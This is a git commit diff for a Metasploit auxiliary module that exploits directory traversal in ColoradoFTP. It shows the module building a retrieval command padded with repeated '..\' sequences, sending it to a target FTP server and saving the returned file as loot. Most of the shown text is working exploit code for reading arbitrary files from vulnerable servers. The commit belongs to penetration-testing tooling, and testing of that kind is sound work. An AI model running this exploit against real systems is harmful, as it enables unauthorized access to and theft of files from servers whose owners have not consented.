updates per @bigendiansmalls fork

MS-2855/keylogger-mettle-extension
h00die 2017-12-11 14:40:09 -05:00
parent 3c916c303d
commit ba174f3f92
1 changed files with 22 additions and 43 deletions

View File

@ -59,53 +59,32 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
begin
c = connect_login
return unless c
sock = data_connect
connect_login
file_path = datastore['PATH']
file = ::File.basename(file_path)
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
# and #7582
if sock.nil?
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
# make RETR request and store server response message...
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd_data( ['get', retr_cmd], '')
unless res.nil?
print_status(res[0])
response_data = res[1]
else
file_path = datastore['PATH']
file = ::File.basename(file_path)
# make RETR request and store server response message...
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["retr", retr_cmd], true)
print_status(res)
# dont assume theres still a sock to read from. Per #7582
if sock.nil?
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
# read the file data from the socket that we opened
response_data = sock.read(1024)
end
unless response_data
print_error("#{file} not found")
return
end
if response_data.length == 0
print_status("File (#{file_path})from #{peer} is empty...")
return
end
# store file data to loot
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
print_error("#{file} not found or invalid login")
return
end
if response_data.length == 0
print_status("File (#{file_path})from #{peer} is empty...")
return
end
# store file data to loot
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")